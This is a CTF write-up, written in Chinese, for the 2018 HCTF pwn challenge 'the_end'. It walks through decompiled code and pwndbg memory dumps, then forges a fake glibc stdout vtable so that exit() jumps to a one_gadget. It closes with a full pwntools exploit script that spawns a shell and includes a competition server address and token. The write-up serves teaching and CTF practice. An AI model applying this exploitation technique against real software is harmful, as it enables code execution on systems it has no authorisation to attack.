2018 HCTF the_end
2018-11-17 本文已影响0人
Nevv
伪造vtables
分析题目，利用点很明确在main函数中:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
已知：
- 除了canary保护全开
- libc基地址和libc版本
- 任意位置写5字节
能够利用的地方：
经过简单分析后发现能够利用的地方基本上是exit函数了。根据上边的知识，能够形成以下思路：
- 利用的是在程序调用
exit后，会遍历_IO_list_all,调用_IO_2_1_stdout_下的vatable中_setbuf函数. - 可以先修改两个字节在当前
vtable附近伪造一个fake_vtable，然后使用 3 个字节修改fake_vtable中_setbuf的内容为one_gadget.
我们下调试找出_IO_2_1_stdout_和libc的偏移,这里很蠢的地方是我最初是在gdb中搜索相关符号，但是其实找出的地址是_IO_2_1_stdout_这个符号所在的位置，而不是其在libc数据段上的位置，我们借助ida或者libcsearch工具找出vtables偏移(0x3C56F8)如下：
.data:00000000003C56F8 dq offset _IO_file_jumps // vtables
.data:00000000003C5700 public stderr
.data:00000000003C5700 stderr dq offset _IO_2_1_stderr_
.data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700 ; fclose+F2↑r ...
.data:00000000003C5708 public stdout
.data:00000000003C5708 stdout dq offset _IO_2_1_stdout_
.data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708 ; fclose+E9↑r ...
.data:00000000003C5710 public stdin
.data:00000000003C5710 stdin dq offset _IO_2_1_stdin_
.data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710 ; fclose:loc_6D340↑r ...
.data:00000000003C5718 dq offset sub_20B70
.data:00000000003C5718 _data ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================
我们查看下虚表内容：
pwndbg> x /30gx 0x7f41d9c026f8
0x7f41d9c026f8 <_IO_2_1_stdout_+216>: 0x00007f41d9c006e0 0x00007f41d9c02540
0x7f41d9c02708 <stdout>: 0x00007f41d9c02620 0x00007f41d9c018e0
0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000
0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000
然后此时在续表附近寻找一个fake_vtable，需满足以下条件：
-
fake_vtable_addr+ 0x58 =libc_base+off_set_3 - 其中0x58根据下表查处是
set_buf在虚表的偏移
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
我这里选择了以下地址作为fake_vtable：
pwndbg> x /60gx 0x7f41d9c02500
0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000
0x7f41d9c02510: 0x0000000000000000 0x0000000000000000
0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000
0x7f41d9c02530: 0x0000000000000000 0x0000000000000000
0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620
0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770
0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000
0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0
0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010
0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000
0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0
0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780
0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000
0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
pwndbg> p 0x7f41d9c025e0 -0x58
$10 = 0x7f41d9c02588
pwndbg> distance 0x7f41d9c02588 0x7f41d983d000
0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
最终的利用脚本如下：
from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)
rem = 0
if rem ==1:
p = remote('150.109.44.250',20002)
p.recvuntil('Input your token:')
p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables = libc_base + 0x3C56F8
fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0")
p.interactive()
